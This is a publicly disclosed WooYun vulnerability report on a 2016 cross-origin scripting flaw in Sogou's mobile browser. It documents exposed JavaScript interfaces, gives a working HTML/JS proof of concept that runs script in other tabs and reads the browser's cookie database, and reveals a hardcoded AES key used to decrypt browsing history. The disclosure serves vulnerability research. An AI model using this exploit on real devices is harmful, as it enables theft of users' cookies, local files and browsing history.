当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0186856

漏洞标题:搜狗浏览器跨域脚本漏洞

相关厂商:搜狗

漏洞作者: Lyleaks

提交时间:2016-03-21 13:01

修复时间:2016-06-21 22:50

公开时间:2016-06-21 22:50

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-21: 细节已通知厂商并且等待厂商处理中
2016-03-23: 厂商已经确认,细节仅向厂商公开
2016-03-26: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-17: 细节向核心白帽子及相关领域专家公开
2016-05-27: 细节向普通白帽子公开
2016-06-06: 细节向实习白帽子公开
2016-06-21: 细节向公众公开

简要描述:

搜狗浏览器某接口可跨域执行js代码,读取本地文件,读取历史记录等。

详细说明:

搜狗浏览器的SogouWebView通过addJavascriptInterface添加了两个和js交互的接口,sogoumse_interface和SogouMobileUtils。通过这两个接口可以实现跨域执行js代码,读取本地文件,读取历史记录,自动下载文件等。

1.png


sogoumse_interface接口中的createTab方法可以用来创建新标签页。
createTab方法接受3个参数,extName,createProperties,和callbackindex,如下可在新标签页打开乌云。

sogoumse_interface.createTab("ext","{\"url\":\"http://**.**.**.**\",\"active\":true}","");


excuteScript方法可在指定tabid的标签页执行js代码。
excuteScript方法接受4个参数如图。

3.png


将arg8转成HashMap,取出code和file的值,读取file的内容,拼接code和file的内容。

4.png


拼接字符串,然后调用SogouWebView的loadUrl方法执行该js代码。

5.png


可以看到excuteScriptInClosure的前两个参数是字符串,第3个参数是js代码。通过第3个参数就可以在指定标签页执行js代码。
第2个参数就是前面的code加上file的内容,因为它会在指定的标签页执行excuteScriptInClosure这个函数,所以只要定义好这个函数,就可以读取本地文件的内容。
从createTab方法中知道,tabid初始值为-1,每新建一个标签页,tabid的值会加1。
如下POC可在**.**.**.**执行js代码,并且读取浏览器私有目录下的cookie文件。

<script>
function excuteScriptInClosure(a,b,c){
alert(b);
}
sogoumse_interface.createTab("ext","{\"url\":\"http://**.**.**.**\",\"active\":true}","");
setTimeout("foo()",3000);
function foo(){
for (var i=0;i<=10;i++){
sogoumse_interface.excuteScript(i+"","ext","{\"code\":\"\",\"file\":\"/data/data/sogou.mobile.explorer/databases/webviewCookiesChromium.db\"}","alert(document.domain)");
};
}
</script>


Screenshot_2016-03-20-01-24-07.png


SogouMobileUtils接口的downloadFileWithUrlNoDialog方法和getHistorysForFeedback方法可以用来自动下载文件和读取历史记录。
downloadFileWithUrlNoDialog方法接受一个字符串参数作为下载地址。
getHistorysForFeedback方法接受一个整型参数作为获取历史记录的条数。

6.png


将url和时间戳用AES加密再base64后返回,密钥为##sogoumse2015##。
解密后的内容

[{"date":"1458394597405","url":"https:\/\/**.**.**.**\/?from=1013112a"},{"date":"1458394597325","url":"http:\/\/**.**.**.**\/?from=1013112a"},{"date":"1458393661820","url":"https:\/\/**.**.**.**\/?tn=93892151_hao_pg"},{"date":"1458393661454","url":"http:\/\/**.**.**.**\/"},{"date":"1458393048920","url":"https:\/\/**.**.**.**\/?tn=94362887_hao_pg"},{"date":"1458392929779","url":"https:\/\/**.**.**.**\/?tn=94026736_hao_pg"},{"date":"1458392868735","url":"https:\/\/**.**.**.**\/?tn=95184484_hao_pg"},{"date":"1458392853048","url":"https:\/\/**.**.**.**\/?from=844b&amp;vit=fps"},{"date":"1458392802729","url":"https:\/\/**.**.**.**\/?tn=90177821_hao_pg"}]


测试版本

Screenshot_2016-03-20-01-52-41.png


漏洞证明:

POC地址:
http://utf7.ml/t/sogou1.html

修复方案:

版权声明:转载请注明来源 Lyleaks@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-03-23 22:47

厂商回复:

感谢支持

最新状态:

暂无